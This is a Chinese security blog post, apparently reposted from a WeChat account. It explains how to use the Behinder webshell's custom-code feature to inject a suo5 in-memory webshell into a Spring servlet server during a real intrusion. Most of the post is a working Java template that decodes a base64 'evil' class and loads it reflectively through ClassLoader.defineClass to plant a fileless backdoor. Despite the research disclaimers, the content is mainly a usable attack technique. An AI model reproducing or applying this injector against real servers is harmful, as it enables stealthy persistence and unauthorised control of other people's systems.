[技术分享]冰蝎自定义代码注入内存马

admin 2024年11月20日12:48:47评论20 views字数 2258阅读7分31秒阅读模式

免责声明

本号所发布的所有内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息,侵权烦请告知,我们会立即删除并致歉。

前言

一次实战中,spring 环境,通过代码执行漏洞打入了冰蝎内存马,但是发现之后漏洞接口被打环了,执行不成功,并且目标不出网,这时候就想到了通过冰蝎的自定义代码功能注入 suo5 内存马。

自定义代码注入

点击冰蝎自定义代码功能,可以看到已经有了示例的代码,这个代码功能就是输出 hello world。

ServletOutputStream so = ((ServletResponse) Response).getOutputStream();so.write("hello world".getBytes("UTF-8"));so.flush();so.close();

fillContext 方法是用来设置 Request、Response、Session 的。

[技术分享]冰蝎自定义代码注入内存马

我们只要在equals函数中嵌入注入内存马的代码就行了,可以参考如下链接通过反射类加载字节码来注入内存马。

[java学习]反射类加载字节码

[技术分享]冰蝎自定义代码注入内存马

jdk 版本可以在冰蝎的基本信息中看到,jdk 版本过高的话需要更改反射类加载字节码的代码。

[技术分享]冰蝎自定义代码注入内存马

参考代码

高版本 jdk 不适用。

import javax.servlet.ServletOutputStream;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpSession;import javax.servlet.jsp.PageContext;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;import java.lang.reflect.Method;import java.util.Base64;publicclass Test {privateObject Request;privateObject Response;privateObject Session;@Overridepublicboolean equals(Object obj) {try {            fillContext(obj);String evilClassBase64 = "{{base64ClassBytes}}";            byte[] bytes = Base64.getDecoder().decode(evilClassBase64);            Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);            method.setAccessible(true);            Class ccc = (Class) method.invoke(ClassLoader.getSystemClassLoader(), "{{className}}", bytes, new Integer(0), new Integer(bytes.length));            ccc.newInstance();            ServletOutputStream so = ((ServletResponse) Response).getOutputStream();            so.write("inject success".getBytes("UTF-8"));            so.flush();            so.close();        } catch (Exception e) {            e.printStackTrace();        }returntrue;    }privatevoid fillContext(Object obj) throws Exception {if (obj.getClass().getName().indexOf("PageContext") >= 0) {this.Request = obj.getClass().getDeclaredMethod("getRequest", new Class[] {}).invoke(obj);this.Response = obj.getClass().getDeclaredMethod("getResponse", new Class[] {}).invoke(obj);this.Session = obj.getClass().getDeclaredMethod("getSession", new Class[] {}).invoke(obj);        } else {            Map<String, Object> objMap = (Map<String, Object>) obj;this.Session = objMap.get("session");this.Response = objMap.get("response");this.Request = objMap.get("request");        }        Response.getClass().getDeclaredMethod("setCharacterEncoding", new Class[] { String.class }).invoke(Response, "UTF-8");    }}

原文始发于微信公众号(良月安全):[技术分享]冰蝎自定义代码注入内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日12:48:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [技术分享]冰蝎自定义代码注入内存马https://cn-sec.com/archives/3414937.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息